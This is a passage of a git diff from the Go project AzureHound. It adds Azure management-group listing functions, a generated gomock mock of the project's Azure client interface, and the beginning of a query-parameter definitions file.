the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureManagementGroups https://learn.microsoft.com/en-us/rest/api/managementgroups/management-groups/list?view=rest-managementgroups-2020-05-01 +func (s *azureClient) ListAzureManagementGroups(ctx context.Context, skipToken string) <-chan AzureResult[azure.ManagementGroup] { + var ( + out = make(chan AzureResult[azure.ManagementGroup]) + path = "/providers/Microsoft.Management/managementGroups" + params = query.RMParams{ApiVersion: "2020-05-01", SkipToken: skipToken} + ) + + go getAzureObjectList[azure.ManagementGroup](s.resourceManager, ctx, path, params, out) + + return out +} + +// ListAzureManagementGroupDescendants https://learn.microsoft.com/en-us/rest/api/managementgroups/management-groups/get-descendants?view=rest-managementgroups-2020-05-01 +func (s *azureClient) ListAzureManagementGroupDescendants(ctx context.Context, groupId string, top int32) <-chan AzureResult[azure.DescendantInfo] { + var ( + out = make(chan AzureResult[azure.DescendantInfo]) + path = fmt.Sprintf("/providers/Microsoft.Management/managementGroups/%s/descendants", groupId) + params = query.RMParams{ApiVersion: "2020-05-01", Top: top} + ) + + go getAzureObjectList[azure.DescendantInfo](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/mocks/client.go b/client/mocks/client.go new file mode 100644 index 0000000..97dfeb3 --- /dev/null +++ b/client/mocks/client.go @@ -0,0 +1,515 @@ +// Code generated by MockGen. DO NOT EDIT. +// Source: github.com/bloodhoundad/azurehound/v2/client (interfaces: AzureClient) + +// Package mocks is a generated GoMock package. +package mocks + +import ( + "context" + "encoding/json" + "reflect" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +// MockAzureClient is a mock of AzureClient interface. +type MockAzureClient struct { + ctrl *gomock.Controller + recorder *MockAzureClientMockRecorder +} + +// MockAzureClientMockRecorder is the mock recorder for MockAzureClient. +type MockAzureClientMockRecorder struct { + mock *MockAzureClient +} + +// NewMockAzureClient creates a new mock instance. +func NewMockAzureClient(ctrl *gomock.Controller) *MockAzureClient { + mock := &MockAzureClient{ctrl: ctrl} + mock.recorder = &MockAzureClientMockRecorder{mock} + return mock +} + +// EXPECT returns an object that allows the caller to indicate expected use. +func (m *MockAzureClient) EXPECT() *MockAzureClientMockRecorder { + return m.recorder +} + +// CloseIdleConnections mocks base method. +func (m *MockAzureClient) CloseIdleConnections() { + m.ctrl.T.Helper() + m.ctrl.Call(m, "CloseIdleConnections") +} + +// CloseIdleConnections indicates an expected call of CloseIdleConnections. +func (mr *MockAzureClientMockRecorder) CloseIdleConnections() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "CloseIdleConnections", reflect.TypeOf((*MockAzureClient)(nil).CloseIdleConnections)) +} + +// GetAzureADOrganization mocks base method. +func (m *MockAzureClient) GetAzureADOrganization(arg0 context.Context, arg1 []string) (*azure.Organization, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "GetAzureADOrganization", arg0, arg1) + ret0, _ := ret[0].(*azure.Organization) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// GetAzureADOrganization indicates an expected call of GetAzureADOrganization. +func (mr *MockAzureClientMockRecorder) GetAzureADOrganization(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetAzureADOrganization", reflect.TypeOf((*MockAzureClient)(nil).GetAzureADOrganization), arg0, arg1) +} + +// GetAzureADTenants mocks base method. +func (m *MockAzureClient) GetAzureADTenants(arg0 context.Context, arg1 bool) (azure.TenantList, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "GetAzureADTenants", arg0, arg1) + ret0, _ := ret[0].(azure.TenantList) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// GetAzureADTenants indicates an expected call of GetAzureADTenants. +func (mr *MockAzureClientMockRecorder) GetAzureADTenants(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetAzureADTenants", reflect.TypeOf((*MockAzureClient)(nil).GetAzureADTenants), arg0, arg1) +} + +// ListAzureADAppOwners mocks base method. +func (m *MockAzureClient) ListAzureADAppOwners(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[json.RawMessage] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADAppOwners", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[json.RawMessage]) + return ret0 +} + +// ListAzureADAppOwners indicates an expected call of ListAzureADAppOwners. +func (mr *MockAzureClientMockRecorder) ListAzureADAppOwners(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADAppOwners", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADAppOwners), arg0, arg1, arg2) +} + +// ListAzureADAppRoleAssignments mocks base method. +func (m *MockAzureClient) ListAzureADAppRoleAssignments(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[azure.AppRoleAssignment] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADAppRoleAssignments", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.AppRoleAssignment]) + return ret0 +} + +// ListAzureADAppRoleAssignments indicates an expected call of ListAzureADAppRoleAssignments. +func (mr *MockAzureClientMockRecorder) ListAzureADAppRoleAssignments(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADAppRoleAssignments", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADAppRoleAssignments), arg0, arg1, arg2) +} + +// ListAzureADApps mocks base method. +func (m *MockAzureClient) ListAzureADApps(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.Application] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADApps", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Application]) + return ret0 +} + +// ListAzureADApps indicates an expected call of ListAzureADApps. +func (mr *MockAzureClientMockRecorder) ListAzureADApps(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADApps", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADApps), arg0, arg1) +} + +// ListAzureADGroupMembers mocks base method. +func (m *MockAzureClient) ListAzureADGroupMembers(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[json.RawMessage] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADGroupMembers", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[json.RawMessage]) + return ret0 +} + +// ListAzureADGroupMembers indicates an expected call of ListAzureADGroupMembers. +func (mr *MockAzureClientMockRecorder) ListAzureADGroupMembers(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADGroupMembers", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADGroupMembers), arg0, arg1, arg2) +} + +// ListAzureADGroupOwners mocks base method. +func (m *MockAzureClient) ListAzureADGroupOwners(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[json.RawMessage] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADGroupOwners", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[json.RawMessage]) + return ret0 +} + +// ListAzureADGroupOwners indicates an expected call of ListAzureADGroupOwners. +func (mr *MockAzureClientMockRecorder) ListAzureADGroupOwners(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADGroupOwners", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADGroupOwners), arg0, arg1, arg2) +} + +// ListAzureADGroups mocks base method. +func (m *MockAzureClient) ListAzureADGroups(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.Group] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADGroups", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Group]) + return ret0 +} + +// ListAzureADGroups indicates an expected call of ListAzureADGroups. +func (mr *MockAzureClientMockRecorder) ListAzureADGroups(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADGroups", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADGroups), arg0, arg1) +} + +// ListAzureADRoleAssignments mocks base method. +func (m *MockAzureClient) ListAzureADRoleAssignments(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.UnifiedRoleAssignment] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADRoleAssignments", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.UnifiedRoleAssignment]) + return ret0 +} + +// ListAzureADRoleAssignments indicates an expected call of ListAzureADRoleAssignments. +func (mr *MockAzureClientMockRecorder) ListAzureADRoleAssignments(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADRoleAssignments", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADRoleAssignments), arg0, arg1) +} + +// ListAzureADRoles mocks base method. +func (m *MockAzureClient) ListAzureADRoles(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.Role] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADRoles", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Role]) + return ret0 +} + +// ListAzureADRoles indicates an expected call of ListAzureADRoles. +func (mr *MockAzureClientMockRecorder) ListAzureADRoles(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADRoles", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADRoles), arg0, arg1) +} + +// ListAzureADServicePrincipalOwners mocks base method. +func (m *MockAzureClient) ListAzureADServicePrincipalOwners(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[json.RawMessage] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADServicePrincipalOwners", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[json.RawMessage]) + return ret0 +} + +// ListAzureADServicePrincipalOwners indicates an expected call of ListAzureADServicePrincipalOwners. +func (mr *MockAzureClientMockRecorder) ListAzureADServicePrincipalOwners(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADServicePrincipalOwners", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADServicePrincipalOwners), arg0, arg1, arg2) +} + +// ListAzureADServicePrincipals mocks base method. +func (m *MockAzureClient) ListAzureADServicePrincipals(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.ServicePrincipal] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADServicePrincipals", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.ServicePrincipal]) + return ret0 +} + +// ListAzureADServicePrincipals indicates an expected call of ListAzureADServicePrincipals. +func (mr *MockAzureClientMockRecorder) ListAzureADServicePrincipals(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADServicePrincipals", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADServicePrincipals), arg0, arg1) +} + +// ListAzureADTenants mocks base method. +func (m *MockAzureClient) ListAzureADTenants(arg0 context.Context, arg1 bool) <-chan client.AzureResult[azure.Tenant] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADTenants", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Tenant]) + return ret0 +} + +// ListAzureADTenants indicates an expected call of ListAzureADTenants. +func (mr *MockAzureClientMockRecorder) ListAzureADTenants(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADTenants", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADTenants), arg0, arg1) +} + +// ListAzureADUsers mocks base method. +func (m *MockAzureClient) ListAzureADUsers(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.User] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureADUsers", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.User]) + return ret0 +} + +// ListAzureADUsers indicates an expected call of ListAzureADUsers. +func (mr *MockAzureClientMockRecorder) ListAzureADUsers(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureADUsers", reflect.TypeOf((*MockAzureClient)(nil).ListAzureADUsers), arg0, arg1) +} + +// ListAzureAutomationAccounts mocks base method. +func (m *MockAzureClient) ListAzureAutomationAccounts(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.AutomationAccount] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureAutomationAccounts", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.AutomationAccount]) + return ret0 +} + +// ListAzureAutomationAccounts indicates an expected call of ListAzureAutomationAccounts. +func (mr *MockAzureClientMockRecorder) ListAzureAutomationAccounts(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureAutomationAccounts", reflect.TypeOf((*MockAzureClient)(nil).ListAzureAutomationAccounts), arg0, arg1) +} + +// ListAzureContainerRegistries mocks base method. +func (m *MockAzureClient) ListAzureContainerRegistries(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.ContainerRegistry] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureContainerRegistries", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.ContainerRegistry]) + return ret0 +} + +// ListAzureContainerRegistries indicates an expected call of ListAzureContainerRegistries. +func (mr *MockAzureClientMockRecorder) ListAzureContainerRegistries(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureContainerRegistries", reflect.TypeOf((*MockAzureClient)(nil).ListAzureContainerRegistries), arg0, arg1) +} + +// ListAzureDeviceRegisteredOwners mocks base method. +func (m *MockAzureClient) ListAzureDeviceRegisteredOwners(arg0 context.Context, arg1 string, arg2 query.GraphParams) <-chan client.AzureResult[json.RawMessage] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureDeviceRegisteredOwners", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[json.RawMessage]) + return ret0 +} + +// ListAzureDeviceRegisteredOwners indicates an expected call of ListAzureDeviceRegisteredOwners. +func (mr *MockAzureClientMockRecorder) ListAzureDeviceRegisteredOwners(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureDeviceRegisteredOwners", reflect.TypeOf((*MockAzureClient)(nil).ListAzureDeviceRegisteredOwners), arg0, arg1, arg2) +} + +// ListAzureDevices mocks base method. +func (m *MockAzureClient) ListAzureDevices(arg0 context.Context, arg1 query.GraphParams) <-chan client.AzureResult[azure.Device] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureDevices", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Device]) + return ret0 +} + +// ListAzureDevices indicates an expected call of ListAzureDevices. +func (mr *MockAzureClientMockRecorder) ListAzureDevices(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureDevices", reflect.TypeOf((*MockAzureClient)(nil).ListAzureDevices), arg0, arg1) +} + +// ListAzureFunctionApps mocks base method. +func (m *MockAzureClient) ListAzureFunctionApps(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.FunctionApp] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureFunctionApps", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.FunctionApp]) + return ret0 +} + +// ListAzureFunctionApps indicates an expected call of ListAzureFunctionApps. +func (mr *MockAzureClientMockRecorder) ListAzureFunctionApps(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureFunctionApps", reflect.TypeOf((*MockAzureClient)(nil).ListAzureFunctionApps), arg0, arg1) +} + +// ListAzureKeyVaults mocks base method. +func (m *MockAzureClient) ListAzureKeyVaults(arg0 context.Context, arg1 string, arg2 query.RMParams) <-chan client.AzureResult[azure.KeyVault] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureKeyVaults", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.KeyVault]) + return ret0 +} + +// ListAzureKeyVaults indicates an expected call of ListAzureKeyVaults. +func (mr *MockAzureClientMockRecorder) ListAzureKeyVaults(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureKeyVaults", reflect.TypeOf((*MockAzureClient)(nil).ListAzureKeyVaults), arg0, arg1, arg2) +} + +// ListAzureLogicApps mocks base method. +func (m *MockAzureClient) ListAzureLogicApps(arg0 context.Context, arg1, arg2 string, arg3 int32) <-chan client.AzureResult[azure.LogicApp] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureLogicApps", arg0, arg1, arg2, arg3) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.LogicApp]) + return ret0 +} + +// ListAzureLogicApps indicates an expected call of ListAzureLogicApps. +func (mr *MockAzureClientMockRecorder) ListAzureLogicApps(arg0, arg1, arg2, arg3 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureLogicApps", reflect.TypeOf((*MockAzureClient)(nil).ListAzureLogicApps), arg0, arg1, arg2, arg3) +} + +// ListAzureManagedClusters mocks base method. +func (m *MockAzureClient) ListAzureManagedClusters(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.ManagedCluster] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureManagedClusters", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.ManagedCluster]) + return ret0 +} + +// ListAzureManagedClusters indicates an expected call of ListAzureManagedClusters. +func (mr *MockAzureClientMockRecorder) ListAzureManagedClusters(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureManagedClusters", reflect.TypeOf((*MockAzureClient)(nil).ListAzureManagedClusters), arg0, arg1) +} + +// ListAzureManagementGroupDescendants mocks base method. +func (m *MockAzureClient) ListAzureManagementGroupDescendants(arg0 context.Context, arg1 string, arg2 int32) <-chan client.AzureResult[azure.DescendantInfo] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureManagementGroupDescendants", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.DescendantInfo]) + return ret0 +} + +// ListAzureManagementGroupDescendants indicates an expected call of ListAzureManagementGroupDescendants. +func (mr *MockAzureClientMockRecorder) ListAzureManagementGroupDescendants(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureManagementGroupDescendants", reflect.TypeOf((*MockAzureClient)(nil).ListAzureManagementGroupDescendants), arg0, arg1, arg2) +} + +// ListAzureManagementGroups mocks base method. +func (m *MockAzureClient) ListAzureManagementGroups(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.ManagementGroup] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureManagementGroups", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.ManagementGroup]) + return ret0 +} + +// ListAzureManagementGroups indicates an expected call of ListAzureManagementGroups. +func (mr *MockAzureClientMockRecorder) ListAzureManagementGroups(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureManagementGroups", reflect.TypeOf((*MockAzureClient)(nil).ListAzureManagementGroups), arg0, arg1) +} + +// ListAzureResourceGroups mocks base method. +func (m *MockAzureClient) ListAzureResourceGroups(arg0 context.Context, arg1 string, arg2 query.RMParams) <-chan client.AzureResult[azure.ResourceGroup] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureResourceGroups", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.ResourceGroup]) + return ret0 +} + +// ListAzureResourceGroups indicates an expected call of ListAzureResourceGroups. +func (mr *MockAzureClientMockRecorder) ListAzureResourceGroups(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureResourceGroups", reflect.TypeOf((*MockAzureClient)(nil).ListAzureResourceGroups), arg0, arg1, arg2) +} + +// ListAzureStorageAccounts mocks base method. +func (m *MockAzureClient) ListAzureStorageAccounts(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.StorageAccount] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureStorageAccounts", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.StorageAccount]) + return ret0 +} + +// ListAzureStorageAccounts indicates an expected call of ListAzureStorageAccounts. +func (mr *MockAzureClientMockRecorder) ListAzureStorageAccounts(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureStorageAccounts", reflect.TypeOf((*MockAzureClient)(nil).ListAzureStorageAccounts), arg0, arg1) +} + +// ListAzureStorageContainers mocks base method. +func (m *MockAzureClient) ListAzureStorageContainers(arg0 context.Context, arg1, arg2, arg3, arg4, arg5, arg6 string) <-chan client.AzureResult[azure.StorageContainer] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureStorageContainers", arg0, arg1, arg2, arg3, arg4, arg5, arg6) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.StorageContainer]) + return ret0 +} + +// ListAzureStorageContainers indicates an expected call of ListAzureStorageContainers. +func (mr *MockAzureClientMockRecorder) ListAzureStorageContainers(arg0, arg1, arg2, arg3, arg4, arg5, arg6 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureStorageContainers", reflect.TypeOf((*MockAzureClient)(nil).ListAzureStorageContainers), arg0, arg1, arg2, arg3, arg4, arg5, arg6) +} + +// ListAzureSubscriptions mocks base method. +func (m *MockAzureClient) ListAzureSubscriptions(arg0 context.Context) <-chan client.AzureResult[azure.Subscription] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureSubscriptions", arg0) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.Subscription]) + return ret0 +} + +// ListAzureSubscriptions indicates an expected call of ListAzureSubscriptions. +func (mr *MockAzureClientMockRecorder) ListAzureSubscriptions(arg0 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureSubscriptions", reflect.TypeOf((*MockAzureClient)(nil).ListAzureSubscriptions), arg0) +} + +// ListAzureVMScaleSets mocks base method. +func (m *MockAzureClient) ListAzureVMScaleSets(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.VMScaleSet] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureVMScaleSets", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.VMScaleSet]) + return ret0 +} + +// ListAzureVMScaleSets indicates an expected call of ListAzureVMScaleSets. +func (mr *MockAzureClientMockRecorder) ListAzureVMScaleSets(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureVMScaleSets", reflect.TypeOf((*MockAzureClient)(nil).ListAzureVMScaleSets), arg0, arg1) +} + +// ListAzureVirtualMachines mocks base method. +func (m *MockAzureClient) ListAzureVirtualMachines(arg0 context.Context, arg1 string, arg2 query.RMParams) <-chan client.AzureResult[azure.VirtualMachine] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureVirtualMachines", arg0, arg1, arg2) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.VirtualMachine]) + return ret0 +} + +// ListAzureVirtualMachines indicates an expected call of ListAzureVirtualMachines. +func (mr *MockAzureClientMockRecorder) ListAzureVirtualMachines(arg0, arg1, arg2 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureVirtualMachines", reflect.TypeOf((*MockAzureClient)(nil).ListAzureVirtualMachines), arg0, arg1, arg2) +} + +// ListAzureWebApps mocks base method. +func (m *MockAzureClient) ListAzureWebApps(arg0 context.Context, arg1 string) <-chan client.AzureResult[azure.WebApp] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListAzureWebApps", arg0, arg1) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.WebApp]) + return ret0 +} + +// ListAzureWebApps indicates an expected call of ListAzureWebApps. +func (mr *MockAzureClientMockRecorder) ListAzureWebApps(arg0, arg1 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListAzureWebApps", reflect.TypeOf((*MockAzureClient)(nil).ListAzureWebApps), arg0, arg1) +} + +// ListRoleAssignmentsForResource mocks base method. +func (m *MockAzureClient) ListRoleAssignmentsForResource(arg0 context.Context, arg1, arg2, arg3 string) <-chan client.AzureResult[azure.RoleAssignment] { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ListRoleAssignmentsForResource", arg0, arg1, arg2, arg3) + ret0, _ := ret[0].(<-chan client.AzureResult[azure.RoleAssignment]) + return ret0 +} + +// ListRoleAssignmentsForResource indicates an expected call of ListRoleAssignmentsForResource. +func (mr *MockAzureClientMockRecorder) ListRoleAssignmentsForResource(arg0, arg1, arg2, arg3 interface{}) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListRoleAssignmentsForResource", reflect.TypeOf((*MockAzureClient)(nil).ListRoleAssignmentsForResource), arg0, arg1, arg2, arg3) +} + +// TenantInfo mocks base method. +func (m *MockAzureClient) TenantInfo() azure.Tenant { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "TenantInfo") + ret0, _ := ret[0].(azure.Tenant) + return ret0 +} + +// TenantInfo indicates an expected call of TenantInfo. +func (mr *MockAzureClientMockRecorder) TenantInfo() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "TenantInfo", reflect.TypeOf((*MockAzureClient)(nil).TenantInfo)) +} diff --git a/client/query/params.go b/client/query/params.go new file mode 100644 index 0000000..3378ab5 --- /dev/null +++ b/client/query/params.go @@ -0,0 +1,170 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package query + +import ( + "strconv" + "strings" +) + +const ( + ApiVersion string = "api-version" + Count string = "$count" + Expand string = "$expand" + Filter string = "$filter" + Format string = "$format" + IncludeDeleted string = "$include" + IncludeAllTenantCategories string = "$includeAllTenantCategories" + MaxPageSize string = "$maxpagesize" + OrderBy string = "$orderby" + Recurse string = "$recurse" + Search string = "$search" + Select string = "$select" + Skip string = "$skip" + SkipToken string = "$skipToken" + StatusOnly string = "StatusOnly" + TenantId string = "tenantId" + Top string = "$top" +) + +type Params interface { + AsMap() map[string]string + NeedsEventualConsistencyHeaderFlag() bool +} + +type RMParams struct { + ApiVersion string + Expand string + Filter string + IncludeDeleted string + IncludeAllTenantCategories bool + MaxPageSize string + Recurse bool + SkipToken string + StatusOnly bool + TenantId string // For cross-tenant request + Top int32 +} + +func (s RMParams) NeedsEventualConsistencyHeaderFlag() bool { + return false +} + +func (s RMParams) AsMap() map[string]string { + params := make(map[string]string) + + if s.ApiVersion != "" { + params[ApiVersion] = s.ApiVersion + } + + 